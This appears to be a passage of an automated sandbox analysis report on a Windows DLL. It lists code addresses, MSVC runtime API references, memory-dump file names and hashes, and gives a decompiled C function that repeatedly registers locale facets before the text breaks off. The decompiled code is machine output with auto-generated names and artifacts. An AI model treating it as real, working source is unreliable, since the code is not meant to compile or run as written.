0x6dd1f0f3
0x6dd1f0fe
0x6dd1f102
0x6dd1f105
0x6dd1f10a
0x6dd1f113
0x6dd1f115
0x6dd1f117
0x6dd1f15c
0x6dd1f15f
0x6dd1f16b
0x6dd1f119
0x6dd1f119
0x6dd1f11b
0x6dd1f121
0x6dd1f127
0x6dd1f12f
0x6dd1f132
0x6dd1f16f
0x6dd1f17d
0x6dd1f182
0x6dd1f18a
0x6dd1f194
0x6dd1f199
0x6dd1f1a4
0x6dd1f1a8
0x6dd1f1ab
0x6dd1f1b0
0x6dd1f1b9
0x6dd1f1bb
0x6dd1f1bd
0x6dd1f202
0x6dd1f205
0x6dd1f211
0x6dd1f1bf
0x6dd1f1bf
0x6dd1f1c1
0x6dd1f1c7
0x6dd1f1cd
0x6dd1f1d5
0x6dd1f1d8
0x6dd1f215
0x6dd1f223
0x6dd1f228
0x6dd1f230
0x6dd1f23a
0x6dd1f23f
0x6dd1f24a
0x6dd1f24e
0x6dd1f251
0x6dd1f256
0x6dd1f25f
0x6dd1f261
0x6dd1f263
0x6dd1f2a8
0x6dd1f2ab
0x6dd1f2b7
0x6dd1f265
0x6dd1f265
0x6dd1f267
0x6dd1f26d
0x6dd1f273
0x6dd1f27b
0x6dd1f27e
0x6dd1f2bb
0x6dd1f2c9
0x6dd1f2ce
0x6dd1f2d6
0x6dd1f2e0
0x6dd1f2e5
0x6dd1f2f0
0x6dd1f2f4
0x6dd1f2f7
0x6dd1f2fc
0x6dd1f305
0x6dd1f307
0x6dd1f309
0x6dd1f34e
0x6dd1f351
0x6dd1f35d
0x6dd1f30b
0x6dd1f30b
0x6dd1f30d
0x6dd1f313
0x6dd1f319
0x6dd1f321
0x6dd1f324
0x6dd1f361
0x6dd1f36f
0x6dd1f374
0x6dd1f37c
0x6dd1f386
0x6dd1f38b
0x6dd1f396
0x6dd1f39a
0x6dd1f39d
0x6dd1f3a2
0x6dd1f3ab
0x6dd1f3ad
0x6dd1f3af
0x6dd1f3f4
0x6dd1f3f7
0x6dd1f403
0x6dd1f3b1
0x6dd1f3b1
0x6dd1f3b3
0x6dd1f3b9
0x6dd1f3bf
0x6dd1f3c7
0x6dd1f3ca
0x6dd1f407
0x6dd1f415
0x6dd1f41a
0x6dd1f422
0x6dd1f42c
0x6dd1f431
0x6dd1f43c
0x6dd1f440
0x6dd1f443
0x6dd1f448
0x6dd1f451
0x6dd1f453
0x6dd1f455
0x6dd1f49a
0x6dd1f49d
0x6dd1f4a9
0x6dd1f457
0x6dd1f457
0x6dd1f459
0x6dd1f45f
0x6dd1f465
0x6dd1f46d
0x6dd1f470
0x6dd1f4ad
0x6dd1f4bb
0x6dd1f4c0
0x6dd1f4c8
0x6dd1f4d2
0x6dd1f4d7
0x6dd1f4e2
0x6dd1f4e6
0x6dd1f4e9
0x6dd1f4ee
0x6dd1f4f7
0x6dd1f4f9
0x6dd1f4fb
0x6dd1f540
0x6dd1f543
0x6dd1f54f
0x6dd1f4fd
0x6dd1f4fd
0x6dd1f4ff
0x6dd1f505
0x6dd1f50b
0x6dd1f513
0x6dd1f516
0x6dd1f553
0x6dd1f561
0x6dd1f566
0x6dd1f56e
0x6dd1f578
0x6dd1f57d
0x6dd1f588
0x6dd1f58c
0x6dd1f58f
0x6dd1f594
0x6dd1f59d
0x6dd1f59f
0x6dd1f5a1
0x6dd1f5e6
0x6dd1f5e9
0x6dd1f5f5
0x6dd1f5a3
0x6dd1f5a3
0x6dd1f5a5
0x6dd1f5ab
0x6dd1f5b1
0x6dd1f5b9
0x6dd1f5bc
0x6dd1f5f9
0x6dd1f607
0x6dd1f60c
0x6dd1f614
0x6dd1f61e
0x6dd1f623
0x6dd1f62e
0x6dd1f632
0x6dd1f635
0x6dd1f63a
0x6dd1f643
0x6dd1f645
0x6dd1f647
0x6dd1f68c
0x6dd1f68f
0x6dd1f69b
0x6dd1f649
0x6dd1f649
0x6dd1f64b
0x6dd1f651
0x6dd1f657
0x6dd1f65f
0x6dd1f662
0x6dd1f69f
0x6dd1f6ad
0x6dd1f6b2
0x6dd1f6ba
0x6dd1f6c4
0x6dd1f6c9
0x6dd1f6d4
0x6dd1f6d8
0x6dd1f6db
0x6dd1f6e0
0x6dd1f6e9
0x6dd1f6eb
0x6dd1f6ed
0x6dd1f732
0x6dd1f735
0x6dd1f741
0x6dd1f6ef
0x6dd1f6ef
0x6dd1f6f1
0x6dd1f6f7
0x6dd1f6fd
0x6dd1f705
0x6dd1f708
0x6dd1f745
0x6dd1f753
0x6dd1f758
0x6dd1f760
0x6dd1f76a
0x6dd1f76f
0x6dd1f77a
0x6dd1f77e
0x6dd1f781
0x6dd1f786
0x6dd1f78f
0x6dd1f791
0x6dd1f793
0x6dd1f7d8
0x6dd1f7db
0x6dd1f7e7
0x6dd1f795
0x6dd1f795
0x6dd1f797
0x6dd1f79d
0x6dd1f7a3
0x6dd1f7ab
0x6dd1f7ae
0x6dd1f7eb
0x6dd1f7f9
0x6dd1f7fe
0x6dd1f806
0x6dd1f810
0x6dd1f815
0x6dd1f820
0x6dd1f824
0x6dd1f827
0x6dd1f82c
0x6dd1f835
0x6dd1f837
0x6dd1f839
0x6dd1f87e
0x6dd1f881
0x6dd1f88d
0x6dd1f83b
0x6dd1f83b
0x6dd1f83d
0x6dd1f843
0x6dd1f849
0x6dd1f851
0x6dd1f854
0x6dd1f891
0x6dd1f89f
0x6dd1f8a4
0x6dd1f8ac
0x6dd1f8b6
0x6dd1f8bb
0x6dd1f8c6
0x6dd1f8ca
0x6dd1f8cd
0x6dd1f8d2
0x6dd1f8db
0x6dd1f8dd
0x6dd1f8df
0x6dd1f924
0x6dd1f927
0x6dd1f933
0x6dd1f8e1
0x6dd1f8e1
0x6dd1f8e3
0x6dd1f8e9
0x6dd1f8ef
0x6dd1f8f7
0x6dd1f8fa
0x6dd1f937
0x6dd1f945
0x6dd1f94a
0x6dd1f952
0x6dd1f95c
0x6dd1f961
0x6dd1f96c
0x6dd1f970
0x6dd1f973
0x6dd1f978
0x6dd1f981
0x6dd1f983
0x6dd1f985
0x6dd1f9ca
0x6dd1f9cd
0x6dd1f9d9
0x6dd1f987
0x6dd1f987
0x6dd1f989
0x6dd1f98f
0x6dd1f995
0x6dd1f99d
0x6dd1f9a0
0x6dd1f9dd
0x6dd1f9eb
0x6dd1f9f0
0x6dd1f9f8
0x6dd1fa02
0x6dd1fa07
0x6dd1fa12
0x6dd1fa16
0x6dd1fa19
0x6dd1fa1e
0x6dd1fa27
0x6dd1fa29
0x6dd1fa2b
0x6dd1fa70
0x6dd1fa73
0x6dd1fa7f
0x6dd1fa2d
0x6dd1fa2d
0x6dd1fa2f
0x6dd1fa35
0x6dd1fa3b
0x6dd1fa43
0x6dd1fa46
0x6dd1fa83
0x6dd1fa91
0x6dd1fa96
0x6dd1fa9e
0x6dd1faa8
0x6dd1faad
0x6dd1fab8
0x6dd1fabc
0x6dd1fabf
0x6dd1fac4
0x6dd1facd
0x6dd1facf
0x6dd1fad1
0x6dd1fb16
0x6dd1fb19
0x6dd1fb25
0x6dd1fad3
0x6dd1fad3
0x6dd1fad5
0x6dd1fadb
0x6dd1fae1
0x6dd1fae9
0x6dd1faec
0x6dd1fb29
0x6dd1fb37
0x6dd1fb3c
0x6dd1fb44
0x6dd1fb4e
0x6dd1fb53
0x6dd1fb5e
0x6dd1fb62
0x6dd1fb65
0x6dd1fb6a
0x6dd1fb73
0x6dd1fb75
0x6dd1fb77
0x6dd1fbbc
0x6dd1fbbf
0x6dd1fbcb
0x6dd1fb79
0x6dd1fb79
0x6dd1fb7b
0x6dd1fb81
0x6dd1fb87
0x6dd1fb8f
0x6dd1fb92
0x6dd1fbcf
0x6dd1fbdd
0x6dd1fbe2
0x6dd1fbea
0x6dd1fbf4
0x6dd1fbf9
0x6dd1fc04
0x6dd1fc08
0x6dd1fc0b
0x6dd1fc10
0x6dd1fc19
0x6dd1fc1b
0x6dd1fc1d
0x6dd1fc62
0x6dd1fc65
0x6dd1fc71
0x6dd1fc1f
0x6dd1fc1f
0x6dd1fc21
0x6dd1fc27
0x6dd1fc2d
0x6dd1fc35
0x6dd1fc38
0x6dd1fc75
0x6dd1fc83
0x6dd1fc88
0x6dd1fc90
0x6dd1fc9a
0x6dd1fc9f
0x6dd1fcaa
0x6dd1fcae
0x6dd1fcb1
0x6dd1fcb6
0x6dd1fcbf
0x6dd1fcc1
0x6dd1fcc3
0x6dd1fd08
0x6dd1fd0b
0x6dd1fd17
0x6dd1fcc5
0x6dd1fcc5
0x6dd1fcc7
0x6dd1fccd
0x6dd1fcd3
0x6dd1fcdb
0x6dd1fcde
0x6dd1fd18
0x6dd1fd1b
0x6dd1fd29
0x6dd1fd2e
0x6dd1fd36
0x6dd1fd3b
0x6dd1fd3d
0x6dd1fd43
0x6dd1fd46
0x6dd1fd4f
0x6dd1fd4f
0x6dd1fd4f
0x6dd1fd53
0x6dd1fd59
0x6dd1fd5c
0x6dd1fd68
0x6dd1fce0
0x6dd1fce0
0x6dd1fce3
0x6dd1fce7
0x6dd1fceb
0x6dd1fcf8
0x6dd1fd00
0x6dd1fd02
0x00000000
0x6dd1fd02
0x6dd1fcc9
0x6dd1fcc9
0x00000000
0x6dd1fcc9
0x6dd1fcc7
0x6dd1fc3a
0x6dd1fc3a
0x6dd1fc3d
0x6dd1fc41
0x6dd1fc45
0x6dd1fc52
0x6dd1fc5a
0x6dd1fc5c
0x00000000
0x6dd1fc5c
0x6dd1fc23
0x6dd1fc23
0x00000000
0x6dd1fc23
0x6dd1fc21
0x6dd1fb94
0x6dd1fb94
0x6dd1fb97
0x6dd1fb9b
0x6dd1fb9f
0x6dd1fbac
0x6dd1fbb4
0x6dd1fbb6
0x00000000
0x6dd1fbb6
0x6dd1fb7d
0x6dd1fb7d
0x00000000
0x6dd1fb7d
0x6dd1fb7b
0x6dd1faee
0x6dd1faee
0x6dd1faf1
0x6dd1faf5
0x6dd1faf9
0x6dd1fb06
0x6dd1fb0e
0x6dd1fb10
0x00000000
0x6dd1fb10
0x6dd1fad7
0x6dd1fad7
0x00000000
0x6dd1fad7
0x6dd1fad5
0x6dd1fa48
0x6dd1fa48
0x6dd1fa4b
0x6dd1fa4f
0x6dd1fa53
0x6dd1fa60
0x6dd1fa68
0x6dd1fa6a
0x00000000
0x6dd1fa6a
0x6dd1fa31
0x6dd1fa31
0x00000000
0x6dd1fa31
0x6dd1fa2f
0x6dd1f9a2
0x6dd1f9a2
0x6dd1f9a5
0x6dd1f9a9
0x6dd1f9ad
0x6dd1f9ba
0x6dd1f9c2
0x6dd1f9c4
0x00000000
0x6dd1f9c4
0x6dd1f98b
0x6dd1f98b
0x00000000
0x6dd1f98b
0x6dd1f989
0x6dd1f8fc
0x6dd1f8fc
0x6dd1f8ff
0x6dd1f903
0x6dd1f907
0x6dd1f914
0x6dd1f91c
0x6dd1f91e
0x00000000
0x6dd1f91e
0x6dd1f8e5
0x6dd1f8e5
0x00000000
0x6dd1f8e5
0x6dd1f8e3
0x6dd1f856
0x6dd1f856
0x6dd1f859
0x6dd1f85d
0x6dd1f861
0x6dd1f86e
0x6dd1f876
0x6dd1f878
0x00000000
0x6dd1f878
0x6dd1f83f
0x6dd1f83f
0x00000000
0x6dd1f83f
0x6dd1f83d
0x6dd1f7b0
0x6dd1f7b0
0x6dd1f7b3
0x6dd1f7b7
0x6dd1f7bb
0x6dd1f7c8
0x6dd1f7d0
0x6dd1f7d2
0x00000000
0x6dd1f7d2
0x6dd1f799
0x6dd1f799
0x00000000
0x6dd1f799
0x6dd1f797
0x6dd1f70a
0x6dd1f70a
0x6dd1f70d
0x6dd1f711
0x6dd1f715
0x6dd1f722
0x6dd1f72a
0x6dd1f72c
0x00000000
0x6dd1f72c
0x6dd1f6f3
0x6dd1f6f3
0x00000000
0x6dd1f6f3
0x6dd1f6f1
0x6dd1f664
0x6dd1f664
0x6dd1f667
0x6dd1f66b
0x6dd1f66f
0x6dd1f67c
0x6dd1f684
0x6dd1f686
0x00000000
0x6dd1f686
0x6dd1f64d
0x6dd1f64d
0x00000000
0x6dd1f64d
0x6dd1f64b
0x6dd1f5be
0x6dd1f5be
0x6dd1f5c1
0x6dd1f5c5
0x6dd1f5c9
0x6dd1f5d6
0x6dd1f5de
0x6dd1f5e0
0x00000000
0x6dd1f5e0
0x6dd1f5a7
0x6dd1f5a7
0x00000000
0x6dd1f5a7
0x6dd1f5a5
0x6dd1f518
0x6dd1f518
0x6dd1f51b
0x6dd1f51f
0x6dd1f523
0x6dd1f530
0x6dd1f538
0x6dd1f53a
0x00000000
0x6dd1f53a
0x6dd1f501
0x6dd1f501
0x00000000
0x6dd1f501
0x6dd1f4ff
0x6dd1f472
0x6dd1f472
0x6dd1f475
0x6dd1f479
0x6dd1f47d
0x6dd1f48a
0x6dd1f492
0x6dd1f494
0x00000000
0x6dd1f494
0x6dd1f45b
0x6dd1f45b
0x00000000
0x6dd1f45b
0x6dd1f459
0x6dd1f3cc
0x6dd1f3cc
0x6dd1f3cf
0x6dd1f3d3
0x6dd1f3d7
0x6dd1f3e4
0x6dd1f3ec
0x6dd1f3ee
0x00000000
0x6dd1f3ee
0x6dd1f3b5
0x6dd1f3b5
0x00000000
0x6dd1f3b5
0x6dd1f3b3
0x6dd1f326
0x6dd1f326
0x6dd1f329
0x6dd1f32d
0x6dd1f331
0x6dd1f33e
0x6dd1f346
0x6dd1f348
0x00000000
0x6dd1f348
0x6dd1f30f
0x6dd1f30f
0x00000000
0x6dd1f30f
0x6dd1f30d
0x6dd1f280
0x6dd1f280
0x6dd1f283
0x6dd1f287
0x6dd1f28b
0x6dd1f298
0x6dd1f2a0
0x6dd1f2a2
0x00000000
0x6dd1f2a2
0x6dd1f269
0x6dd1f269
0x00000000
0x6dd1f269
0x6dd1f267
0x6dd1f1da
0x6dd1f1da
0x6dd1f1dd
0x6dd1f1e1
0x6dd1f1e5
0x6dd1f1f2
0x6dd1f1fa
0x6dd1f1fc
0x00000000
0x6dd1f1fc
0x6dd1f1c3
0x6dd1f1c3
0x00000000
0x6dd1f1c3
0x6dd1f1c1
0x6dd1f134
0x6dd1f134
0x6dd1f137
0x6dd1f13b
0x6dd1f13f
0x6dd1f14c
0x6dd1f154
0x6dd1f156
0x00000000
0x6dd1f156
0x6dd1f11d
0x6dd1f11d
0x00000000
0x6dd1f11d
0x6dd1f11b
0x6dd1f08e
0x6dd1f08e
0x6dd1f091
0x6dd1f095
0x6dd1f099
0x6dd1f0a6
0x6dd1f0ae
0x6dd1f0b0
0x00000000
0x6dd1f0b0
0x6dd1f077
0x6dd1f077
0x00000000
0x6dd1f077
0x6dd1f075
0x6dd1efe8
0x6dd1efe8
0x6dd1efeb
0x6dd1efef
0x6dd1eff3
0x6dd1f000
0x6dd1f008
0x6dd1f00a
0x00000000
0x6dd1f00a
0x6dd1efd1
0x6dd1efd1
0x00000000
0x6dd1efd1
0x6dd1efcf
0x6dd1ef42
0x6dd1ef42
0x6dd1ef45
0x6dd1ef49
0x6dd1ef4d
0x6dd1ef5a
0x6dd1ef62
0x6dd1ef64
0x00000000
0x6dd1ef64
0x6dd1ef2b
0x6dd1ef2b
0x00000000
0x6dd1ef2b
0x6dd1ef29

APIs

__EH_prolog3.LIBCMT ref: 6DD1EEF2
std::_Lockit::_Lockit.LIBCPMT ref: 6DD1EEFC
int.LIBCPMT ref: 6DD1EF13

Part of subcall function 6DCF161C: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF162D
Part of subcall function 6DCF161C: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1647

codecvt.LIBCPMT ref: 6DD1EF36
std::_Facet_Register.LIBCPMT ref: 6DD1EF4D
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1EF6D
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1EF8B

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrowcodecvt
String ID:
API String ID: 2594415655-0
Opcode ID: 91641ec7caf632f9815f9694e21032d04106e2a758a441c1f561635a5f6f8241
Instruction ID: 8097fa286d639ab86a45df6e9d29c03b362f57d9d0f452fda0f451847adc1c16
Opcode Fuzzy Hash: 91641ec7caf632f9815f9694e21032d04106e2a758a441c1f561635a5f6f8241
Instruction Fuzzy Hash: 7E11CE7290852ACBCF00FBA4DC50AFDB770EF45324F164009FA10A7290DB70A9098BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1F6B3, Relevance: 10.6, APIs: 7, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E6DD1F6B3(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				void* _t153;
				signed int _t154;
				void* _t166;
				void* _t179;
				void* _t192;
				void* _t205;
				void* _t218;
				void* _t231;
				void* _t244;
				void* _t257;
				void* _t270;
				signed int _t397;
				signed int _t431;
				signed int _t432;
				signed int _t433;
				signed int _t434;
				signed int _t435;
				signed int _t436;
				signed int _t437;
				signed int _t438;
				signed int _t439;
				signed int _t441;
				signed int _t442;
				signed int _t443;
				signed int _t444;
				signed int _t445;
				signed int _t446;
				signed int _t447;
				signed int _t448;
				signed int _t449;
				signed int _t450;
				signed int _t451;
				void* _t462;

				_t428 = __edx;
				_t327 = __ebx;
				E6DD300AC(0x6dd783cf, __ebx, __edi, __esi, 0x14);
				E6DD16653(_t462 - 0x14, 0);
				_t441 =  *0x6ddd6dc8; // 0x0
				 *(_t462 - 4) =  *(_t462 - 4) & 0x00000000;
				 *(_t462 - 0x10) = _t441;
				_t153 = E6DCF161C(0x6ddd6d7c);
				_t330 =  *((intOrPtr*)(_t462 + 8));
				_t154 = E6DCF171B( *((intOrPtr*)(_t462 + 8)), _t153);
				_t430 = _t154;
				if(_t154 != 0) {
					L5:
					E6DD166BA(_t462 - 0x14);
					return E6DD30075(_t430);
				} else {
					if(_t441 == 0) {
						_push( *((intOrPtr*)(_t462 + 8)));
						_push(_t462 - 0x10);
						__eflags = E6DD21230(__ebx, _t330, __edx, _t430, _t441) - 0xffffffff;
						if(__eflags == 0) {
							E6DCF1438(_t462 - 0x20);
							E6DD33D74(_t462 - 0x20, 0x6ddd3504);
							asm("int3");
							E6DD300AC(0x6dd783cf, __ebx, _t430, _t441, 0x14);
							E6DD16653(_t462 - 0x14, 0);
							_t442 =  *0x6ddd6dc4; // 0x0
							 *(_t462 - 4) =  *(_t462 - 4) & 0x00000000;
							 *(_t462 - 0x10) = _t442;
							_t166 = E6DCF161C(0x6ddd6d78);
							_t337 =  *((intOrPtr*)(_t462 + 8));
							_t431 = E6DCF171B( *((intOrPtr*)(_t462 + 8)), _t166);
							__eflags = _t431;
							if(_t431 != 0) {
								L12:
								E6DD166BA(_t462 - 0x14);
								return E6DD30075(_t431);
							} else {
								__eflags = _t442;
								if(_t442 == 0) {
									_push( *((intOrPtr*)(_t462 + 8)));
									_push(_t462 - 0x10);
									__eflags = E6DD212B4(_t327, _t337, __edx, _t431, _t442) - 0xffffffff;
									if(__eflags == 0) {
										E6DCF1438(_t462 - 0x20);
										E6DD33D74(_t462 - 0x20, 0x6ddd3504);
										asm("int3");
										E6DD300AC(0x6dd783cf, _t327, _t431, _t442, 0x14);
										E6DD16653(_t462 - 0x14, 0);
										_t443 =  *0x6ddd6dd8; // 0x0
										 *(_t462 - 4) =  *(_t462 - 4) & 0x00000000;
										 *(_t462 - 0x10) = _t443;
										_t179 = E6DCF161C(0x6ddd6d84);
										_t344 =  *((intOrPtr*)(_t462 + 8));
										_t432 = E6DCF171B( *((intOrPtr*)(_t462 + 8)), _t179);
										__eflags = _t432;
										if(_t432 != 0) {
											L19:
											E6DD166BA(_t462 - 0x14);
											return E6DD30075(_t432);
										} else {
											__eflags = _t443;
											if(_t443 == 0) {
												_push( *((intOrPtr*)(_t462 + 8)));
												_push(_t462 - 0x10);
												__eflags = E6DD21339(_t327, _t344, __edx, _t432, _t443) - 0xffffffff;
												if(__eflags == 0) {
													E6DCF1438(_t462 - 0x20);
													E6DD33D74(_t462 - 0x20, 0x6ddd3504);
													asm("int3");
													E6DD300AC(0x6dd783cf, _t327, _t432, _t443, 0x14);
													E6DD16653(_t462 - 0x14, 0);
													_t444 =  *0x6ddd6db0; // 0x0
													 *(_t462 - 4) =  *(_t462 - 4) & 0x00000000;
													 *(_t462 - 0x10) = _t444;
													_t192 = E6DCF161C(0x6ddd6d64);
													_t351 =  *((intOrPtr*)(_t462 + 8));
													_t433 = E6DCF171B( *((intOrPtr*)(_t462 + 8)), _t192);
													__eflags = _t433;
													if(_t433 != 0) {
														L26:
														E6DD166BA(_t462 - 0x14);
														return E6DD30075(_t433);
													} else {
														__eflags = _t444;
														if(_t444 == 0) {
															_push( *((intOrPtr*)(_t462 + 8)));
															_push(_t462 - 0x10);
															__eflags = E6DD213A1(_t327, _t351, _t428, _t433, _t444) - 0xffffffff;
															if(__eflags == 0) {
																E6DCF1438(_t462 - 0x20);
																E6DD33D74(_t462 - 0x20, 0x6ddd3504);
																asm("int3");
																E6DD300AC(0x6dd783cf, _t327, _t433, _t444, 0x14);
																E6DD16653(_t462 - 0x14, 0);
																_t445 =  *0x6ddd6ddc; // 0x0
																 *(_t462 - 4) =  *(_t462 - 4) & 0x00000000;
																 *(_t462 - 0x10) = _t445;
																_t205 = E6DCF161C(0x6ddd6d88);
																_t358 =  *((intOrPtr*)(_t462 + 8));
																_t434 = E6DCF171B( *((intOrPtr*)(_t462 + 8)), _t205);
																__eflags = _t434;
																if(_t434 != 0) {
																	L33:
																	E6DD166BA(_t462 - 0x14);
																	return E6DD30075(_t434);
																} else {
																	__eflags = _t445;
																	if(_t445 == 0) {
																		_push( *((intOrPtr*)(_t462 + 8)));
																		_push(_t462 - 0x10);
																		__eflags = E6DD21409(_t327, _t358, _t428, _t434, _t445) - 0xffffffff;
																		if(__eflags == 0) {
																			E6DCF1438(_t462 - 0x20);
																			E6DD33D74(_t462 - 0x20, 0x6ddd3504);
																			asm("int3");
																			E6DD300AC(0x6dd783cf, _t327, _t434, _t445, 0x14);
																			E6DD16653(_t462 - 0x14, 0);
																			_t446 =  *0x6ddd6de0; // 0x0
																			 *(_t462 - 4) =  *(_t462 - 4) & 0x00000000;
																			 *(_t462 - 0x10) = _t446;
																			_t218 = E6DCF161C(0x6ddd6d8c);
																			_t365 =  *((intOrPtr*)(_t462 + 8));
																			_t435 = E6DCF171B( *((intOrPtr*)(_t462 + 8)), _t218);
																			__eflags = _t435;
																			if(_t435 != 0) {
																				L40:
																				E6DD166BA(_t462 - 0x14);
																				return E6DD30075(_t435);
																			} else {
																				__eflags = _t446;
																				if(_t446 == 0) {
																					_push( *((intOrPtr*)(_t462 + 8)));
																					_push(_t462 - 0x10);
																					__eflags = E6DD21471(_t327, _t365, _t428, _t435, _t446) - 0xffffffff;
																					if(__eflags == 0) {
																						E6DCF1438(_t462 - 0x20);
																						E6DD33D74(_t462 - 0x20, 0x6ddd3504);
																						asm("int3");
																						E6DD300AC(0x6dd783cf, _t327, _t435, _t446, 0x14);
																						E6DD16653(_t462 - 0x14, 0);
																						_t447 =  *0x6ddd6dfc; // 0x0
																						 *(_t462 - 4) =  *(_t462 - 4) & 0x00000000;
																						 *(_t462 - 0x10) = _t447;
																						_t231 = E6DCF161C(0x6ddd6da8);
																						_t372 =  *((intOrPtr*)(_t462 + 8));
																						_t436 = E6DCF171B( *((intOrPtr*)(_t462 + 8)), _t231);
																						__eflags = _t436;
																						if(_t436 != 0) {
																							L47:
																							E6DD166BA(_t462 - 0x14);
																							return E6DD30075(_t436);
																						} else {
																							__eflags = _t447;
																							if(_t447 == 0) {
																								_push( *((intOrPtr*)(_t462 + 8)));
																								_push(_t462 - 0x10);
																								__eflags = E6DD214EC(_t327, _t372, _t428, _t436, _t447) - 0xffffffff;
																								if(__eflags == 0) {
																									E6DCF1438(_t462 - 0x20);
																									E6DD33D74(_t462 - 0x20, 0x6ddd3504);
																									asm("int3");
																									E6DD300AC(0x6dd783cf, _t327, _t436, _t447, 0x14);
																									E6DD16653(_t462 - 0x14, 0);
																									_t448 =  *0x6ddd6dcc; // 0x0
																									 *(_t462 - 4) =  *(_t462 - 4) & 0x00000000;
																									 *(_t462 - 0x10) = _t448;
																									_t244 = E6DCF161C(0x6ddd6d80);
																									_t379 =  *((intOrPtr*)(_t462 + 8));
																									_t437 = E6DCF171B( *((intOrPtr*)(_t462 + 8)), _t244);
																									__eflags = _t437;
																									if(_t437 != 0) {
																										L54:
																										E6DD166BA(_t462 - 0x14);
																										return E6DD30075(_t437);
																									} else {
																										__eflags = _t448;
																										if(_t448 == 0) {
																											_push( *((intOrPtr*)(_t462 + 8)));
																											_push(_t462 - 0x10);
																											__eflags = E6DD21558(_t327, _t379, _t428, _t437, _t448) - 0xffffffff;
																											if(__eflags == 0) {
																												E6DCF1438(_t462 - 0x20);
																												E6DD33D74(_t462 - 0x20, 0x6ddd3504);
																												asm("int3");
																												E6DD300AC(0x6dd783cf, _t327, _t437, _t448, 0x14);
																												E6DD16653(_t462 - 0x14, 0);
																												_t449 =  *0x6ddd6e00; // 0x0
																												 *(_t462 - 4) =  *(_t462 - 4) & 0x00000000;
																												 *(_t462 - 0x10) = _t449;
																												_t257 = E6DCF161C(0x6ddd6dac);
																												_t386 =  *((intOrPtr*)(_t462 + 8));
																												_t438 = E6DCF171B( *((intOrPtr*)(_t462 + 8)), _t257);
																												__eflags = _t438;
																												if(_t438 != 0) {
																													L61:
																													E6DD166BA(_t462 - 0x14);
																													return E6DD30075(_t438);
																												} else {
																													__eflags = _t449;
																													if(_t449 == 0) {
																														_push( *((intOrPtr*)(_t462 + 8)));
																														_push(_t462 - 0x10);
																														__eflags = E6DD215C4(_t327, _t386, _t428, _t438, _t449) - 0xffffffff;
																														if(__eflags == 0) {
																															E6DCF1438(_t462 - 0x20);
																															E6DD33D74(_t462 - 0x20, 0x6ddd3504);
																															asm("int3");
																															E6DD300AC(0x6dd783cf, _t327, _t438, _t449, 0x14);
																															E6DD16653(_t462 - 0x14, 0);
																															_t450 =  *0x6ddd6dd0; // 0x0
																															 *(_t462 - 4) =  *(_t462 - 4) & 0x00000000;
																															 *(_t462 - 0x10) = _t450;
																															_t270 = E6DCF161C(0x6ddd6d60);
																															_t393 =  *((intOrPtr*)(_t462 + 8));
																															_t439 = E6DCF171B( *((intOrPtr*)(_t462 + 8)), _t270);
																															__eflags = _t439;
																															if(_t439 != 0) {
																																L68:
																																E6DD166BA(_t462 - 0x14);
																																return E6DD30075(_t439);
																															} else {
																																__eflags = _t450;
																																if(_t450 == 0) {
																																	_push( *((intOrPtr*)(_t462 + 8)));
																																	_push(_t462 - 0x10);
																																	__eflags = E6DD2162A(_t327, _t393, _t428, _t439, _t450) - 0xffffffff;
																																	if(__eflags == 0) {
																																		_t397 = _t462 - 0x20;
																																		E6DCF1438(_t397);
																																		E6DD33D74(_t462 - 0x20, 0x6ddd3504);
																																		asm("int3");
																																		E6DD300AC(0x6dd7851f, _t327, _t439, _t450, 4);
																																		_t451 = _t397;
																																		 *(_t462 - 0x10) = _t451;
																																		 *((intOrPtr*)(_t451 + 4)) =  *((intOrPtr*)(_t462 + 0xc));
																																		_push( *((intOrPtr*)(_t462 + 0x14)));
																																		_t147 = _t462 - 4;
																																		 *_t147 =  *(_t462 - 4) & 0x00000000;
																																		__eflags =  *_t147;
																																		 *_t451 = 0x6dd7c0c4;
																																		 *((char*)(_t451 + 0x28)) =  *((intOrPtr*)(_t462 + 0x10));
																																		E6DD2542F(_t327, _t397, _t428, _t439, _t451,  *_t147);
																																		return E6DD30075(_t451,  *((intOrPtr*)(_t462 + 8)));
																																	} else {
																																		_t439 =  *(_t462 - 0x10);
																																		 *(_t462 - 0x10) = _t439;
																																		 *(_t462 - 4) = 1;
																																		E6DD16FD3(__eflags, _t439);
																																		 *0x6dd7a26c();
																																		 *((intOrPtr*)( *((intOrPtr*)( *_t439 + 4))))();
																																		 *0x6ddd6dd0 = _t439;
																																		goto L68;
																																	}
																																} else {
																																	_t439 = _t450;
																																	goto L68;
																																}
																															}
																														} else {
																															_t438 =  *(_t462 - 0x10);
																															 *(_t462 - 0x10) = _t438;
																															 *(_t462 - 4) = 1;
																															E6DD16FD3(__eflags, _t438);
																															 *0x6dd7a26c();
																															 *((intOrPtr*)( *((intOrPtr*)( *_t438 + 4))))();
																															 *0x6ddd6e00 = _t438;
																															goto L61;
																														}
																													} else {
																														_t438 = _t449;
																														goto L61;
																													}
																												}
																											} else {
																												_t437 =  *(_t462 - 0x10);
																												 *(_t462 - 0x10) = _t437;
																												 *(_t462 - 4) = 1;
																												E6DD16FD3(__eflags, _t437);
																												 *0x6dd7a26c();
																												 *((intOrPtr*)( *((intOrPtr*)( *_t437 + 4))))();
																												 *0x6ddd6dcc = _t437;
																												goto L54;
																											}
																										} else {
																											_t437 = _t448;
																											goto L54;
																										}
																									}
																								} else {
																									_t436 =  *(_t462 - 0x10);
																									 *(_t462 - 0x10) = _t436;
																									 *(_t462 - 4) = 1;
																									E6DD16FD3(__eflags, _t436);
																									 *0x6dd7a26c();
																									 *((intOrPtr*)( *((intOrPtr*)( *_t436 + 4))))();
																									 *0x6ddd6dfc = _t436;
